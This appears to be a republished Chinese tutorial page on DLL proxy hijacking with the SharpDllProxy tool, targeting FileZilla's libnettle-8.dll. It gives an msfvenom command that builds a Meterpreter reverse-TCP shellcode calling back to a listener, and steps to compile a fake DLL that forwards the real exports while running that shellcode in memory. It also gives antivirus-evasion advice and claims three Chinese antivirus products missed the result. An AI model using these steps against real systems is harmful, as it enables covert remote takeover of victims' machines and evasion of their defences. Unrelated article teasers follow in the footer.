如何进行DLL代理转发与weiquan分析

DLL劫持

再Windows 7 版本之后,系统采用了KnowDLLs对DLL进行管理,其位于注册表HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs下,在这个下面的DLL文件会被禁止从exe自身所在的目录下调用,而只能从系统目录(System32)目录下调用。但不是所有的dll都会被写入这个注册表,因此就会产生DLL劫持。

使用msfvenom生成的dll直接秒杀。如何进行DLL代理转发与weiquan分析

SharpDllProxy

听名字大概类似于socks代理一样。工具来源自:https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/。具体实现还可以参考这篇大佬的博客.

前言

先理解下动态链接库的运行原理。如果应用程序A要使用动态链接库DataFunctions.dll里面的GetFunkyData()函数,就需要加载DataFunctions.dll动态链接库。这个工具就是出于这一点考虑,创建一个名字一模一样的DataFunction.dll动态链接库,他的功能有两个:①做个快捷键,将所有的功能转发到千真万确的动态链接库DataFunctions.dll,这就是名字中proxy的由来;②在这个假冒的DataFunctions.dll里面写入shellcode。附上作者原图:如何进行DLL代理转发与weiquan分析

实验过程

目标程序

花费了些时间搞这实验,例如FileZilla软件,怎么去找这个需要加载的dll呢?如作者说的,把该软件拷贝出去就知道他缺什么了。如下:如何进行DLL代理转发与weiquan分析

如何进行DLL代理转发与weiquan分析

那就说明运行改应用程序需要加载该DLL文件,那就针对这个DLL做一个假的libnettle-8.dll。

生成shellcode



msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.124.29 LPORT=4444 -f raw > shell.bin

实验开始

首先下载SharpDllProxy:https://github.com/Flangvik/SharpDllProxy,然后使用visual studio 2019对其进行编译,尽量不要使用其他版本,因为我用了下visual studio 2017各种报错搞了半天没搞出来,也可能环境有问题。

直接使用 vs 打开 文件下的SharpDllProxy –》 生成解决方案如何进行DLL代理转发与weiquan分析如何进行DLL代理转发与weiquan分析

使用SharpDllProxy.dll生成一个假冒的libnettle-8.dll。将shell.bin和需要被假冒的Dll放到上图的文件中。执行如下命令:.SharpDllProxy.exe –dll libnettle-8.dll –payload shell.bin如何进行DLL代理转发与weiquan分析

生成的文件包含了一个C文件和一个dll,这个dll文件就是原来的 libnettle-8.dll 文件。如何进行DLL代理转发与weiquan分析

分析下这个C语言程序,从第9行到494行都是转发DLL的函数,将所有需要运行函数转发原来的DLL,让其进行处理。如何进行DLL代理转发与weiquan分析

到了497行就是我们插入的shellcode的地方。重点代码也就只有这么一点,其实还可以直接把shell.bin这个shellcode写入到该文件,就减少了文件可疑文件数量。这里是按照二进制的方式读入然后使用VirtualAlloc内存操作执行shellcode。到这里就可以自己一顿操作猛如虎,各种免杀姿势用上来,例如换个加载方式,如对shellcode先加密然后解密运行。如何进行DLL代理转发与weiquan分析

使用 VS 编译上面的C文件。文件—》新建—》项目—》动态链接库–》项目名为 libnettle-8。复制上面的C文件代码到VS中编译如何进行DLL代理转发与weiquan分析如何进行DLL代理转发与weiquan分析

将上面的三个文件(tmpD475.dll、libnettle-8.dll、shell.bin),发送到目标系统中。使用msf监听,然后运行程序,就已经返回会话了。如何进行DLL代理转发与weiquan分析如何进行DLL代理转发与weiquan分析

使用最常用的杀毒软件:360、火绒和安全管家都没有被发现。如何进行DLL代理转发与weiquan分析

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注亿速云行业资讯频道,感谢您对亿速云的支持。

文章标题:如何进行DLL代理转发与weiquan分析,发布者:亿速云,转载请注明出处:https://worktile.com/kb/p/28940

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
亿速云的头像亿速云认证作者
上一篇 2022年9月22日
下一篇 2022年9月22日

相关推荐

  • Python如何多线程并发下载图片

    最终效果 这就是我们最终要构建的效果。 安装依赖项 让我们安装每个人最喜欢的 requests 库。 pip install requests 现在,我们将看到一些用于下载单个 URL 并尝试自动查找图像名称以及如何使用重试的基本代码。 import requestsres = requests.g…

    2022年9月22日
    77500
  • windows realtek安装失败如何解决

    解决方法: 方法一: 1、首先我们点击左下角搜索框,搜索“设备管理器” 2、在搜索结果中打开“设备管理器” 3、打开后,展开“音频输入和输出”,将下方所有设备卸载掉。 4、卸载完成后再去尝试安装realtek高清晰音频管理器就可以了。 方法二: 1、安装失败也有可能是我们下载的安装包出现了问题,可以…

    2022年9月20日
    1.2K00
  • 用于黑客渗透测试的Linux工具有哪些

    用于黑客渗透测试的 Kali Linux 工具 Kali Linux 预装了几种类型的工具。如果你发现有的工具没有安装,只需下载并进行设置即可。这很简单。 1、Nmap Nmap Nmap (即 “ 网络映射器(Network Mapper)”)是 Kali Linux 上很受欢迎的信息收集工具之一…

    2022年9月1日
    92100
  • mysql中not null是不是索引

    “not null”不是索引而是非空约束,用于指定字段的值不能为空;对于使用了非空约束的字段,如果添加数据时没有指定值,则会报错。设置非空约束的两种方法:1、建表时设置,语法“CREATE TABLE 表名(字段名 数据类型 NOT NULL);”;2、修改表时设置,语法“ALTER TABLE 表…

    2022年9月22日
    70800
  • sql删除了mdf文件怎么解决

    解决方法: 方法一、用Recover NT 恢复: 它能自动搜索并列出磁盘上有已被完来全删除的文件的目录,而没有被删除文件的目录则不被列出,只需要点四下鼠标就可以了: 1、点击被自删文件所在的驱动器。 2、点击目录。 3、点击文件。 4、点击工具条上的“Recover”按钮,被删文件若没被百覆盖的话…

    2022年9月8日
    57600
  • mysql怎么设置最大连接数

    方法一:命令行修改 我们只需要打开mysql的控制台,输入“set GLOBAL max_connections=1000;”语句,就可直接设置最大连接数,如下图所示: 注:这种方法标不治本,只能暂时的修改最大连接数,一点重启mysql,最大连接数又会变回原先设置的值。 方法二:通过mysql配置文…

    2022年9月15日
    60000
  • MySQL的碎片有哪些

    MySQL 的几种碎片整理方案总结(解决delete大量数据后空间不释放的问题) 1.背景知识? 1.1 为什么会有碎片? MySQL 中 insert 与 update 都可能导致页分裂,这样就存在碎片。 对于大量的UPDATE,也会产生文件碎片化 , Innodb的最小物理存储分配单位是页(pa…

    2022年9月13日
    80200
  • windows你需要权限来执行此操作删除不了怎么解决

    解决方法: 1、首先右键存在问题的文件夹,打开“属性” 2、接着进入上方“安全”并点击“编辑” 3、然后选中我们正在使用的用户。 (如果没有就添加一个) 4、最后在下面全部勾选“允许”并确定保存即可。 关于“windows你需要权限来执行此操作删除不了怎么解决”这篇文章的内容就介绍到这里,感谢各位的…

    2022年8月31日
    1.6K00
  • linux中mysql 1045错误如何解决

    解决方法:1、登录数据库之后,利用“select host,user from user;”语句查询用户和权限;2、利用“grant select,update,insert,delete on mas.* to 新建用户@localhost identified by “密码&#822…

    2022年9月18日
    88600
  • jquery ajax如何改成同步

    在jquery中,ajax可以将async设置为false使其同步;默认情况下jquery中的ajax为异步请求,即“async:true”,通过设置参数“asycn:false”即可,语法为“$.ajax({async: false})”。 本文操作环境:windows10系统、jquery3.6…

    2022年9月10日
    2.6K00
注册PingCode 在线客服
站长微信
站长微信
电话联系

400-800-1024

工作日9:30-21:00在线

分享本页
返回顶部